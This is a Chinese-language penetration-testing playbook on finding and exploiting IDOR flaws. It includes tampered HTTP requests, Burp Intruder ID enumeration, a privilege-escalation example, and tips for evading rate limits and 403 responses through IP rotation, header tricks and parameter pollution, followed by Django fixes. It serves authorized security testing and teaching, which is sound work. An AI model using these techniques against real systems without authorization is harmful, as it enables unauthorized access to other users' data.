仅限授权使用:本技能只能用于获得书面授权的安全评估、防御验证或受控教学环境。
IDOR 越权漏洞测试
系统化地发现并验证 Web 应用中的不安全直接对象引用(IDOR)漏洞。覆盖数据库对象引用与静态文件引用两类,使用参数篡改与枚举进行检测,借助 Burp Suite 利用,并给出修复策略。
何时使用
适用:
- 对已获书面授权的目标做访问控制测试,怀疑接口仅凭客户端传入的
id/userId/文件名定位资源,而未校验归属。 - 验证水平越权(用户访问用户)与垂直越权(普通用户访问管理员功能)。
- 至少有两个测试账号(attacker / victim),可对比跨用户访问结果。
不该用(负边界):
- 没有明确书面授权的任何目标——直接停止。
- 不要访问、修改或外泄真实用户数据;测试只用自建的可识别数据。
- 纯认证缺失(未登录即可访问)属于另一类问题,不在本技能范围。
- 仅会话令牌绑定资源、不接受 ID 入参的场景,IDOR 不成立,转其他向量。
步骤
识别引用类型
- 数据库对象引用:
example.com/user/profile?id=2023→ 改id=2022试读他人数据。 - 静态文件引用:
example.com/static/receipt/205.pdf→ 改200.pdf试取他人文件。
- 数据库对象引用:
侦察与准备
- 建两个账号:
attacker(主测)、victim(目标数据)。 - 定位对象引用位置:URL 路径
/api/user/123、查询参数?id=123、请求体{"userId":123}、文件名receipt_123.pdf、UUID/profile/a1b2c3d4-...。 - 摸清 ID 规律:是否连续整数、自增、可预测。
- 建两个账号:
检测
- URL 参数篡改:保持 attacker 会话,把
id改成 victim 的值,若返回 victim 数据即存在漏洞。 - 请求体篡改:把 body 里的
userId改成目标值,观察是否越权写入/读取。 - HTTP 方法切换:
GET被 403 时,试POST/PUT是否 200。
- URL 参数篡改:保持 attacker 会话,把
利用(Burp Suite)
- 手动:浏览器代理走 Burp → 登录 attacker → 打开数据页 → Proxy 开 Intercept → 抓含 ID 的请求 → 改成 victim 的 ID → Forward → 看响应。
- 自动枚举(Intruder):发送到 Intruder(Ctrl+I)→ 清空 payload 位置 → 仅选 ID 参数 → 攻击类型 Sniper → Payload 选 Numbers,Range 1–10000,Step 1 → Start,筛 200 响应。
- 多位置同 ID:用 Battering Ram,对 URL 与 body 中的
§5§统一注入。
验证与定级
- 用 PII 标记(姓名、邮箱、创建时间、元数据)确认数据归属,比较响应长度/时延,给出数据暴露严重度。
指令
URL 参数篡改:
# 原始请求(attacker 会话)
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
# 篡改 ID 指向 victim
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# 若返回 victim 数据 → 存在 IDOR
请求体篡改:
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1000, "address": "..."} # userId 由 1001 改为 1000
HTTP 方法切换:
GET /api/admin/users/1000 → 403 Forbidden
POST /api/admin/users/1000 → 200 OK (可能存在漏洞)
PUT /api/admin/users/1000 → 200 OK (可能存在漏洞)
Burp Intruder 多位置枚举(Battering Ram):
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Payload: Numbers 1-1000
常见 IDOR 位置速查:
- API:
/api/user/{id}、/api/order/{id}、/api/invoice/{id}、/api/address/{id}/update|delete - 文件下载:
/download/invoice_{id}.pdf、/static/receipts/{id}.pdf、/uploads/documents/{filename} - 查询参数:
?userId=、?orderId=、?documentId=、?file=report_123.pdf
测试清单:
| 测试 | 方法 | 漏洞特征 |
|---|---|---|
| 增减 ID | id=5→id=4 |
返回他人数据 |
| 用已知 victim ID | 替换为目标 ID | 获取 victim 资源 |
| 范围枚举 | 测 1–1000 | 命中他人有效记录 |
| 负值/0 | id=-1/id=0 |
异常数据或报错 |
| 超大值 | id=99999999 |
信息泄露 |
| 字符串/UUID | 改格式或改 UUID 片段 | 逻辑绕过/可预测 |
响应解读:
| 状态码 | 含义 |
|---|---|
| 200 | 疑似 IDOR,需核实归属 |
| 403 | 访问控制生效 |
| 404 | 资源不存在 |
| 401 | 需认证 |
| 500 | 可能存在输入校验问题 |
示例
示例 1 基础 ID 参数 IDOR:
# attacker(userId=1001) 登录后
GET /api/profile?id=1001 ... # 返回自己数据
GET /api/profile?id=1000 ... # 返回 victim 数据 → 漏洞
示例 2 地址更新越权:
PUT /api/addresses/5/update
{"id":5,"userId":1000,"street":"...","city":"..."} # userId 改为 victim
# 若 200 OK,则地址被挂到 victim 账号下
示例 3 静态文件 IDOR:
GET /api/download/5 → attacker 的回执 PDF
GET /api/download/3 → victim 的回执 PDF(漏洞)
示例 4 水平转垂直提权:
GET /api/user/1 → {"role":"user","id":1}
GET /api/user/3 → {"role":"admin","id":3}
# 用普通用户会话访问 /api/admin/dashboard?userId=3
# 若可访问,则实现垂直提权
注意事项
- 至少需两个有效账号才能验证;部分应用用会话绑定令牌而非 ID。
- UUID 不易枚举但非不可能:从响应体、JS 文件、列表接口、报错信息中找泄露的 UUID;UUID v1 时间相关可尝试预测。
- 速率限制可绕:Intruder 加延时、轮换 IP、只打高价值 ID、换等价端点、错峰测试。
- 全 403 时的备选向量:方法切换、加
X-Original-URL/X-Rewrite-URL头、参数污染?id=1001&id=1000、URL 编码(%31%30%30%30=1000)、大小写变体。 - 会话绑定资源时:测未认证端点、密码重置/邮箱验证流程、文件上传下载、API 版本(v1 vs v2)、移动端接口(常防护更弱)。
- 盲 IDOR/异步/WebSocket 场景响应不直接确认时,用唯一可识别数据、PII 标记、响应长度与时延差作旁证。
- 合规:仅测授权目标,记录全部测试活动,不碰真实用户数据,按正规渠道披露。
修复要点(服务端始终校验归属,不信任客户端入参):
# 1. 校验归属
def update_address(request, address_id):
address = Address.objects.get(id=address_id)
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
address.update(request.data)
# 2. 用间接引用:/api/address/123 → /api/address/current-user/billing
def get_address(request):
return Address.objects.filter(user=request.user).first()
# 3. 查询时强制按当前用户过滤
def download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(id=receipt_id, user=request.user).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)
互见
- 访问控制 / 鉴权设计类技能(最小权限、间接引用映射)。
- 枚举与代理工具使用(Burp Suite Intruder、参数污染、编码绕过)。
- 漏洞披露与报告规范。
采编自 sickn33/antigravity-awesome-skills(原作者 zebbern,MIT 许可)。